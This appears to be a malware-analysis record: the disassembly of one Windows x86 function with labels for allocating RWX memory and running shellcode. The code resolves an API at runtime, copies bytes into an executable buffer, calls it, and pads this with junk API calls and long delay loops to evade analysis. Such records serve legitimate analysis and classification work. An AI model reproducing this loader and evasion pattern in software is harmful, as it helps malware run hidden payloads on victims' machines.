Function at 0x4056b9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read pipe
Write pipe

Disassembly:
mov eax, 0x477767
call fcn.00477700
mov eax, 0x1038
call fcn.00411ba0
cmp dword [0x18f4ab8], 0x2f
push ebx
push esi
push edi
jne 0x405733
xor esi, esi
push esi
push esi
call dword [sym.imp.USER32.dll_CreateAcceleratorTableA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [ebp - 0x44]
push eax
call fcn.00405a4f
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], esi
call fcn.00405e9f
lea ecx, [ebp - 0x24]
call fcn.00405f7d
call fcn.00405e35
lea ecx, [ebp - 0x24]
call fcn.004052f0
lea ecx, [ebp - 0x24]
call fcn.00405309
push esi
push esi
call fcn.004065df
pop ecx
pop ecx
push esi
call fcn.00406b18
add dword [0x18f4ab8], 0x1134b
push 0x40505c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x405078
push eax
mov dword [0x18d5d7c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x18f4ab8]
xor esi, esi
push esi
mov dword [0x18d5d74], eax
call eax
xor ebx, ebx
mov dword [0x18d5d78], eax
cmp dword [0x18f4ab8], esi
jbe 0x405812
cmp dword [0x18f4ab8], 0xa8
mov eax, dword [0x18f4abc]
mov al, byte [eax + ebx + 0x1134b]
mov ecx, dword [0x18d5d78]
mov byte [ecx + ebx], al
jne 0x405805
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CancelTimerQueueTimer]
xor eax, eax
mov word [ebp - 0x38], ax
lea edi, [ebp - 0x36]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x844]
push eax
push 0x405088
lea eax, [ebp - 0x38]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
xor eax, eax
mov word [ebp - 0x14], ax
lea edi, [ebp - 0x12]
stosw word es:[edi], ax
mov word [ebp - 0x18], ax
lea edi, [ebp - 0x16]
stosw word es:[edi], ax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push dword [ebp - 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
inc ebx
cmp ebx, dword [0x18f4ab8]
jb 0x405783
xor edi, edi
cmp edi, 0xa0a
jge 0x40582a
push esi
lea eax, [ebp - 0x444]
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
push esi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
cmp edi, 0x2b259d
jle 0x405867
cmp dword [ebp - 0x1c], 0x785074d5
jne 0x405870
inc edi
cmp edi, 0x6dcc4e
jl 0x405814
xor edi, edi
mov eax, dword [0x18f4ab8]
add eax, edi
cmp eax, 0xe
jne 0x4058a5
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push esi
push esi
push dword [ebp - 0x28]
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
inc edi
cmp edi, 0x4fe161
jl 0x405872
mov edi, 0x4cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
push esi
lea eax, [ebp - 0x1044]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x4058b3
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
call edi
cmp ebx, 0xcaaaff1
jg 0x4058f0
inc ebx
cmp ebx, 0x1f05843
jl 0x4058dd
call fcn.00405619
call edi
cmp esi, 0x26
jne 0x405901
call fcn.0040569f
inc esi
cmp esi, 0x409495
jl 0x4058f5
call fcn.00405425
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret